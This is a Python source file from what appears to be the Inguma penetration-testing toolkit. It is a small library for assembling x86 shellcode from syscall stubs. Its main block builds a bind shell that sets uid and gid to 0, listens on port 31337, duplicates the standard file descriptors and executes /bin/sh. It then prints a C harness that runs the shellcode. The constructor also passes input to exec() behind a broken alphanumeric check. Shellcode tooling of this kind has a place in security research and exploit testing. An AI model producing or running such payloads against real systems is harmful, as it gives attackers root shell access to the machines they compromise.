1 #!/usr/bin/python 2 3 """ 4 PyShellCode library for Inguma Version 0.0.2 5 A library to write shellcodes coding in python. 6 Copyright (c) 2006, 2007 Joxean Koret, joxeankoret [at] yahoo.es 7 8 This program is free software; you can redistribute it and/or 9 modify it under the terms of the GNU General Public License 10 as published by the Free Software Foundation; version 2 11 of the License. 12 13 This program is distributed in the hope that it will be useful, 14 but WITHOUT ANY WARRANTY; without even the implied warranty of 15 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 GNU General Public License for more details. 17 18 You should have received a copy of the GNU General Public License 19 along with this program; if not, write to the Free Software 20 Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 21 """ 22 23 import binascii 24 25 class PyEgg: 26 27 osType = None 28 processor = None 29 buf = "" 30 internal = None 31 32 def __init__(self, mOsType="linux", mProcessor="x86"): 33 self.osType = mOsType.lower() 34 self.processor = mProcessor.lower() 35 36 if not self.osType.isalnum() or not self.processor.isalnum: 37 print "ERROR: Unacceptable module %s.%s" % (self.osType, self.processor) 38 raise 39 40 # FIXME: Horrible hack! 41 module = "import %s.%s as internal" % (self.processor, self.osType) 42 exec(module) 43 44 self.internal = internal 45 46 def getShellcode(self): 47 ret = "" 48 for c in self.buf: 49 ret += chr(92) + "x" + binascii.b2a_hex(c) 50 51 return ret 52 53 def getEgg(self): 54 return self.buf 55 56 def setuid(self, mid = 0): 57 self.buf += self.internal.setuid(mid) 58 59 def setgid(self, mid = 0): 60 self.buf += self.internal.setgid(mid) 61 62 def socket(self, adomain, atype, aprotocol=0): 63 self.buf += self.internal.socket(adomain, atype, aprotocol) 64 65 def bind(self, aport): 66 self.buf += self.internal.bind(aport) 67 68 def listen(self, abacklog=1): 69 self.buf += self.internal.listen(abacklog) 70 71 def accept(self): 72 self.buf += self.internal.accept() 73 74 def exit(self, retvalue=0): 75 self.buf += self.internal.exit(retvalue) 76 77 def close(self, fd=0): 78 self.buf += self.internal.close(fd) 79 80 def dup2(self, fd=0): 81 self.buf += self.internal.dup2(fd) 82 83 def execSh(self): 84 self.buf += self.internal.execSh() 85 86 if __name__ == "__main__": 87 88 import socket 89 90 #a = PyEgg("openbsd") 91 a = PyEgg("linux") 92 93 # Change to root 94 a.setuid(0) 95 a.setgid(0) 96 97 # Listen in all available addresses at port 31337 98 a.socket(socket.AF_INET, socket.SOCK_STREAM) 99 a.bind(31337) 100 a.listen() 101 102 # Got a connection, duplicate fd descriptors 103 a.accept() 104 a.dup2(2) 105 a.dup2(1) 106 a.dup2(0) 107 108 # Run /bin/sh 109 a.execSh() 110 sc = a.getShellcode() 111 112 print "#include <stdio.h>" 113 print 114 print 'char *sc="%s";' % sc 115 print 116 print "int main(void) {" 117 print "\t((void(*)())sc)();" 118 print "}" 119 print 120 121